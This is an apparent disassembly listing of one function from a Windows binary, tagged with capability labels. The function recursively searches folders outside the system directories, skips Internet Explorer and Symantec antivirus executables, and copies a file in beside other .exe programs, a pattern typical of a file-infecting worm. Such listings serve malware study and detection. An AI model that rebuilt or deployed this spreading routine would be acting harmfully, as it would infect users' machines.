Function at 0x40161d
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, 0x1f4
push edi
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
push esi
mov dword [esp + 0x20], edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov dword [esp + 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, dword [esp + 0x34]
mov dword [esp + 0x2c], eax
push esi
push edi
call sub.MSVCRT.dll_strcpy
push str..exe
push edi
call sub.MSVCRT.dll_strcat
push 0x140
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f0]
mov edi, dword [sym.imp.MSVCRT.dll__strcmpi]
mov ebx, eax
push esi
call edi
add esp, 0x2c
test eax, eax
je 0x401967
push dword [0x4040f8]
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x401967
lea eax, [esp + 0x10]
push str.windows
push eax
push esi
mov dword [esp + 0x1c], 7
call fcn.0040204d
pop ecx
pop ecx
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401967
lea eax, [esp + 0x10]
push str.system32
push eax
push esi
mov dword [esp + 0x1c], 8
call fcn.0040204d
pop ecx
pop ecx
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401967
lea eax, [esp + 0x10]
push str.system
push eax
push esi
mov dword [esp + 0x1c], 6
call fcn.0040204d
pop ecx
pop ecx
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401967
push ebx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x401874
lea esi, [ebx + 0x2c]
push str.IEXPLORE.EXE
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x401854
push str.ccApp.exe
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x401854
push str.ccRegVfy.exe
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x401854
push dword [esp + 0x24]
push ebp
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebp
call sub.MSVCRT.dll_strcat
push esi
push ebp
call sub.MSVCRT.dll_strcat
mov esi, dword [esp + 0x34]
push ebp
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x20
push 0x4040dc
push esi
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [eax + esi - 3]
push eax
call sub.MSVCRT.dll_strcpy
push ebp
call fcn.00401b5c
add esp, 0xc
test al, al
jne 0x401854
push ebp
mov ecx, 0x4040e8
call fcn.004020e2
test al, al
je 0x401854
push dword [0x4040f8]
call sub.MSVCRT.dll_strlen
mov ecx, dword [0x4040e4]
lea eax, [eax + ecx + 0xa]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f8]
mov esi, eax
push esi
call sub.MSVCRT.dll_strcpy
push 0x404038
push esi
call sub.MSVCRT.dll_strcat
push dword [0x4040d4]
push esi
call sub.MSVCRT.dll_strcat
push 0x40406c
push esi
call sub.MSVCRT.dll_strcat
push 0x4040e0
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x30
push 0
push esi
push dword [0x4040f4]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push ebp
mov ecx, 0x4040e8
call fcn.0040261b
push ebp
push esi
call fcn.00401ce7
push esi
call fcn.00401f09
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
jmp loc.004205b8
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push dword [esp + 0x1c]
call sub.MSVCRT.dll_strcpy
push str..
push dword [esp + 0x24]
call sub.MSVCRT.dll_strcat
add esp, 0x10
push ebx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x401967
mov eax, dword [ebx]
and eax, 0x10
cmp al, 0x10
jne 0x401905
lea eax, [ebx + 0x2c]
push 0x40406c
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401905
lea eax, [ebx + 0x2c]
push 0x404060
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x401905
push esi
mov esi, dword [esp + 0x18]
push esi
call sub.MSVCRT.dll_strcpy
push 0x404038
push esi
call sub.MSVCRT.dll_strcat
lea eax, [ebx + 0x2c]
push eax
push esi
call sub.MSVCRT.dll_strcat
push esi
call fcn.0040161d
add esp, 0x1c
push ebx
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401967
mov eax, dword [ebx]
and eax, 0x10
cmp al, 0x10
jne 0x401905
lea esi, [ebx + 0x2c]
push 0x40406c
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x401905
push 0x404060
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x401905
push dword [esp + 0x24]
push dword [esp + 0x18]
call sub.MSVCRT.dll_strcpy
push 0x404038
push dword [esp + 0x20]
call sub.MSVCRT.dll_strcat
push esi
push dword [esp + 0x28]
call sub.MSVCRT.dll_strcat
push dword [esp + 0x2c]
jmp 0x4018fd
push dword [esp + 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [esp + 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [esp + 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret